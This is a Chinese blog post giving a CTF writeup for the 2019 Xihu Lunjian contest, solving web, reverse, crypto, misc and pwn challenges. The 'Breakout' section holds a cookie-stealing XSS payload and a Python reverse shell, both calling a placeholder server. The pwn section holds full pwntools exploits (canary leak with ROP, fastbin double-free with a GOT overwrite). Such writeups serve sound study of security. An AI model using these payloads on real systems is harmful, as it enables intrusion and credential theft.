美文网首页ctfCTF Re&&PwnCTF练习
西湖论剑线上 writeup

西湖论剑线上 writeup

作者: ckj123 | 来源:发表于2019-04-08 15:41 被阅读142次

    西湖论剑

    太菜了最后只有18名
    都怪我划水
    还是得夸aris和liano太强了

    WEB

    web1

    <?php
    //index.php
    $a = @$_GET['file'];
    if (!$a) {
        $a = './templates/index.html';
    }
    echo 'include $_GET[\'file\']';
    if (strpos('flag',$a)!==false) {
        die('nonono');
    }
    include $a;
    
    

    hint :dir.php

    //dir.php
    <?php
    $a = @$_GET['dir'];
    if(!$a){
    $a = '/tmp';
    }
    var_dump(scandir($a));
    

    用dir.php可以看根目录文件


    image

    flag在这里
    然后直接用index.php读
    就得到flag了

    猜猜flag是什么

    根目录下有.DS_Store 泄露,脱下来可以发现一下内容:

    image

    继续扫描 /e10adc3949ba59abbe56e057f20f883e/ 这个目录发现有 .git 泄露

    githack 获得一个加密压缩包BackupForMySite.zip,不过我们有他里面的部分内容:index.php lengzhu.jpg。那么用明文攻击解开压缩包,明文压缩包要用bindzip来压缩。。。

    里面的 hint 带有激活码,并且说 flag 在 /flag/seed.txt(直接访问说NAIVE)

    输入到主页中用get请求,参数为code=激活码 就可以得到一个数字
    既然说是seed 那么猜测为 php 的随机数种子。

    使用php_mt_seed 将上一步拿到的数字丢进去跑,爆破出seed的值

    访问/flag/${seed}.txt 就可以获得flag了

    Breakout

    思路:使用 <base> 标签将页面的基础路径修改到自己的服务器,劫持js文件

    过程
    留言内容:

    <base href='http://x.x.x.x'>
    

    然后在自己的服务器上web目录下创建一个 /js/jquery.min.js,内容为:

    cookie=btoa(document.cookie);img = document.createElement('img');img.src='http://x.x.x.x/?cookie='+cookie;document.body.appendChild(img);
    

    report页面提交留言板地址,验证码爆破即可

    然后拿到cookie后替换,反弹shell到自己的服务器上:

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'&exec=1
    

    flag在根目录下的flag.txt

    RE

    easyCPP

    根据名字就很容易看出是个斐波那契数列了,他先取你输入的第一个和后面每个相加,再倒序之后得是从1开始的15个斐波那契数,于是逆一下得出输入
    987 -377 -610 -754 -843 -898 -932 -953 -966 -974 -979 -982 -984 -985 -986 -986

    testre

    base58改都没改=-=一把梭

    >>> import base58
    >>> base58.b58decode('D9cS9N9iHjMLTdA8YSMRMp')
    'base58_is_boring'
    
    

    Junk_Instruction

    动调题,ida载入半天也找不到啥东西=。=果断掏出OD下API断点找到关键函数sub_402600
    由于还有花指令,不如继续动调,跟了一会,找到了像是rc4的S-box,盲猜
    [0x5b, 0xd6, 0xd0, 0x26, 0xc8, 0xdd, 0x19, 0x7e, 0x6e, 0x3e,
    0xcb, 0x16, 0x91, 0x7d, 0xff, 0xaf, 0xdd, 0x76, 0x64, 0xb0, 0xf7, 0xe5,
    0x89, 0x57, 0x82, 0x9f, 0xc, 0x0, 0x9e, 0xd0, 0x45, 0xfa]就是密文
    qwertyuiop是key,然后解个rc4,嗯?错了?倒个序,嗯,看来是没错=。=

    from Crypto.Cipher import ARC4
    
    key = 'qwertyuiop'
    a = [0x5b, 0xd6, 0xd0, 0x26, 0xc8, 0xdd, 0x19, 0x7e, 0x6e, 0x3e,
    0xcb, 0x16, 0x91, 0x7d, 0xff, 0xaf, 0xdd, 0x76, 0x64, 0xb0, 0xf7, 0xe5,
    0x89, 0x57, 0x82, 0x9f, 0xc, 0x0, 0x9e, 0xd0, 0x45, 0xfa]
    enc = ''
    for i in a:
        enc += chr(i)
    rc4 = ARC4.new(key)
    print(rc4.decrypt(enc)[::-1])
    

    Crypto

    哈夫曼之谜

    就是哈夫曼编码,刚巧上半年数据结构作业的代码还在:

    /**
     *
     * @class TreeNode
     */
    class TreeNode {
      constructor(weight = 0, item = "") {
        this.item = item;
        this.weight = weight;
        this.lNode = null;
        this.rNode = null;
      }
    }
    
    /**
     *
     * @class huffmanTree
     */
    class huffmanTree {
      constructor(text) {
        this.root = null;
        this.generate(text);
      }
      generate(text) {
        const countFreqs = function(text) {
          let freqs = {};
          for (let char of text) {
            if (!freqs[char]) {
              freqs[char] = 0;
            }
            freqs[char]++;
          }
          return freqs;
        };
        const createhuffmanTree = function(data) {
          if (data.length === 1) return data[0];
          data
            .sort(function(node1, node2) {
              return node1.weight - node2.weight;
            })
            .reverse();
          let lNode = data.pop();
          let rNode = data.pop();
          let newNode = new TreeNode(lNode.weight + rNode.weight, "");
          newNode.lNode = lNode;
          newNode.rNode = rNode;
          data.push(newNode);
          return createhuffmanTree(data);
        };
        let freqs = countFreqs(text);
        let data = [...new Set(text.split(""))].map(function(item) {
          return new TreeNode(freqs[item], item);
        });
        this.root = createhuffmanTree(data);
      }
    }
    
    /**
     *
     * @class HuffmanCode
     */
    class HuffmanCode {
      constructor() {
        this.codeTable = {};
        this.tree = null;
      }
    
      /**
       *
       * @param {*} text
       * @memberof HuffmanCode
       */
      encode(text) {
        const traverseTree = function(node, arr, code) {
          if (node.lNode !== null && node.rNode != null) {
            traverseTree(node.lNode, arr, code + "0");
            traverseTree(node.rNode, arr, code + "1");
          }
          arr[node.item] = code;
        };
        this.tree = new huffmanTree(text);
        traverseTree(this.tree.root, this.codeTable, "");
        delete this.codeTable[""];
        let res = "";
        for (let i of text) {
          res += this.codeTable[i];
        }
        console.log(res);
      }
    
      /**
       *
       * @param {*} text
       * @memberof HuffmanCode
       */
      decode(text) {
        let count = 0;
        let res = "";
        const decodeNode = node => {
          if (count > text.length) return null;
          if (node.lNode === null && node.rNode === null) {
            res += node.item;
            decodeNode(this.tree.root);
          } else {
            if (text[count] === "1") {
              count++;
              decodeNode(node.rNode);
            } else {
              count++;
              decodeNode(node.lNode);
            }
          }
        };
        decodeNode(this.tree.root);
        console.log(res);
      }
    }
    let text = "ddddddddd5555555550000000aaaafffff{gl}";
    let huffmanCode = new HuffmanCode();
    huffmanCode.encode(text);
    huffmanCode.decode("11000111000001010010010101100110110101111101110101011110111111100001000110010110101111001101110001000110");
    
    

    字符的权重对应字符的个数,先encode生成Huffman树,再把给出的密文decode一下就好了。相同权重的字符可能会有左右节点的顺序差别,手动交换一下他们在字符串text 中的顺序即可
    最后解得flag为 flag{ddf5dfd0f05550500a5af55dd0d5d0ad}

    Misc

    奇怪的TTL字段

    发现ttl.txt中的ttl只有4个值63,127,191,255,写出他们的二进制表示后发现只有最高两位不同
    于是考虑做如下转换,发现写出来的16进制数开头是ffd8,应该是jpg,于是写入文件中

    fp = open('ttl.txt','r')
    a = fp.readlines()
    p = []
    for i in a:
        p.append(int(i[4:]))
    s = ''
    for i in p:
        if i == 63:
            a = '00'
        elif i == 127:
            a = '01'
        elif i == 191:
            a = '10'
        elif i == 255:
            a = '11'
        s += a
    # print(s)
    
    import binascii
    flag = ''
    for i in range(0,len(s),8):
        flag += chr(int(s[i:i+8],2))
    flag = binascii.unhexlify(flag)
    wp = open('res.jpg','wb')
    wp.write(flag)
    wp.close()
    #00111111 63
    #01111111 127
    #10111111 191
    #11111111 255
    

    写完之后发现只有二维码的一部分,应该是不止一张图,用foremost直接分开就好了,之后用ps拼在一块,扫描之后得到如下信息

    key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}
    

    应该就是AutoKey那个加密了,找了个在线网站解密
    https://www.wishingstarmoye.com/ctf/autokey
    得到flag{2028ab39927df1d96e6a12b03e58002e}

    最短的路

    flag{ 只跟 E3 有联系


    image

    75D}只跟 FloraPrice 有联系
    正好可以找 和 FloraPrice 和E3有联系的
    在列表翻一下正好找到
    EvelynJefferson
    flag: E3EvelynJeffersonE9FloraPrice75D

    PWN

    story

    基础题,利用格式化字符串leak canary之后栈溢出ROP

    #coding=utf8
    from pwn import *
    context.log_level = 'debug'
    context.terminal = ['gnome-terminal','-x','bash','-c']
    
    local = 0
    binary_name = 'story'
    
    if local:
        cn = process('./story')
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
        #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
    else:
        cn = remote('ctf2.linkedbyx.com',10885)
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
        #libc = ELF('')
    
    ru = lambda x : cn.recvuntil(x)
    sn = lambda x : cn.send(x)
    rl = lambda   : cn.recvline()
    sl = lambda x : cn.sendline(x)
    rv = lambda x : cn.recv(x)
    sa = lambda a,b : cn.sendafter(a,b)
    sla = lambda a,b : cn.sendlineafter(a,b)
    
    
    bin = ELF('./'+binary_name,checksec=False)
    
    
    def z(a=''):
        gdb.attach(cn,a)
        if a == '':
            raw_input()
    
    prdi = 0x0000000000400bd3 
    prsi = 0x0000000000400bd1 
    
    
    cn.sendlineafter('ID:','%15$p')
    cn.recvuntil('0x')
    canary = int(cn.recvline()[:-1],16)
    success('canary:'+hex(canary))
    cn.sendlineafter('size',str(1024))
    buf = 'a'*0x88+p64(canary)+p64(0)
    buf+= p64(prdi) + p64(bin.got['puts']) +p64(bin.plt['puts'])
    buf+= p64(0x4009A0)
    cn.sendline(buf)
    cn.recvline()
    cn.recvline()
    lbase = u64(cn.recvline()[:-1].ljust(8,'\x00'))-libc.sym['puts']
    success('lbase:'+hex(lbase))
    cn.sendlineafter('size',str(1024))
    buf = 'a'*0x88+p64(canary)+p64(0)
    buf+= p64(0x4526a+lbase)+p64(0)*0x10
    cn.sendline(buf)
    
    
    cn.interactive()
    
    
    '''
    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
      [rsp+0x30] == NULL
    
    0xcd0f3 execve("/bin/sh", rcx, r12)
    constraints:
      [rcx] == NULL || rcx == NULL
      [r12] == NULL || r12 == NULL
    
    0xcd1c8 execve("/bin/sh", rax, r12)
    constraints:
      [rax] == NULL || rax == NULL
      [r12] == NULL || r12 == NULL
    
    0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    constraints:
      [rsp+0x50] == NULL
    
    0xf1147 execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL
    
    0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
    constraints:
      [rcx] == NULL || rcx == NULL
      [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
    '''
    

    noinfoleak

    说是noinfoleak,但其实很容易就能leak信息。。。就是个普通的fastbin题,和第一题比说实话值不了300分(当然第一题也是抄的,就很emmmm)

    #coding=utf8
    from pwn import *
    context.log_level = 'debug'
    context.terminal = ['gnome-terminal','-x','bash','-c']
    
    local = 0
    binary_name = 'noinfoleak'
    
    if local:
        cn = process('./noinfoleak')
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
        #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
    else:
        cn = remote('ctf1.linkedbyx.com',10446)
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    
    ru = lambda x : cn.recvuntil(x)
    sn = lambda x : cn.send(x)
    rl = lambda   : cn.recvline()
    sl = lambda x : cn.sendline(x)
    rv = lambda x : cn.recv(x)
    sa = lambda a,b : cn.sendafter(a,b)
    sla = lambda a,b : cn.sendlineafter(a,b)
    
    
    bin = ELF('./'+binary_name,checksec=False)
    
    
    def z(a=''):
        gdb.attach(cn,a)
        if a == '':
            raw_input()
    
    
    def add(sz,con):
        sla('>','1')
        sla('>',str(sz))
        sla('>',con)
    
    def dele(idx):
        sla('>','2')
        sla('>',str(idx))
    
    def edit(idx,con):
        sla('>','3')
        sla('>',str(idx))
        sa('>',con)
    
    
    add(0x30,'/bin/sh\x00')#0
    add(0x20,'bbb')#1
    add(0x20,'ccc')#2
    
    dele(1)
    dele(2)
    dele(1)
    
    add(0x20,p64(0x6010a0))#3
    add(0x20,'ddd')#4
    add(0x20,'eee')#5
    add(0x20,p64(0x601018))#6
    # z('c')
    edit(1,p64(bin.plt['puts']))
    edit(6,p64(bin.got['puts']))
    dele(1)
    lbase =u64(cn.recvline()[:-1].ljust(8,'\x00'))-libc.sym['puts']
    edit(6,p64(bin.got['free']))
    edit(1,p64(lbase+libc.sym['system']))
    dele(0)
    
    cn.interactive()
    
    

    相关文章

      网友评论

        本文标题:西湖论剑线上 writeup

        本文链接:https://www.haomeiwen.com/subject/dgfpiqtx.html